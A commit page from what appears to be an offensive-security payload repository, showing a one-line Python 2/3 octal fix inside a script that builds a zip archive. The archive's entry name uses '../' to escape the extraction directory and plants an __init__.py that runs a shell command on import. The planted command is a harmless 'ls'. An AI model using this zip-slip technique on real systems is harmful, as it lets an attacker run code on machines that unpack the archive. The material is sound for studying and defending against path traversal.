Merge pull request #22 from cclauss/patch-1

Use octal numbers that work in both Python 2 and 3
patch-1
Swissky 2018-09-02 15:57:48 +02:00 committed by GitHub
commit 011baa7321
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 1 deletions

View File

@ -15,5 +15,5 @@ for d in directories:
z_info = zipfile.ZipInfo(r"../"+d+"/__init__.py")
z_file = zipfile.ZipFile(name, mode="w") # "/home/swissky/Bureau/"+
z_file.writestr(z_info, "import os;print 'Shell';os.system('ls');")
z_info.external_attr = 0777 << 16L
z_info.external_attr = 0o777 << 16
z_file.close()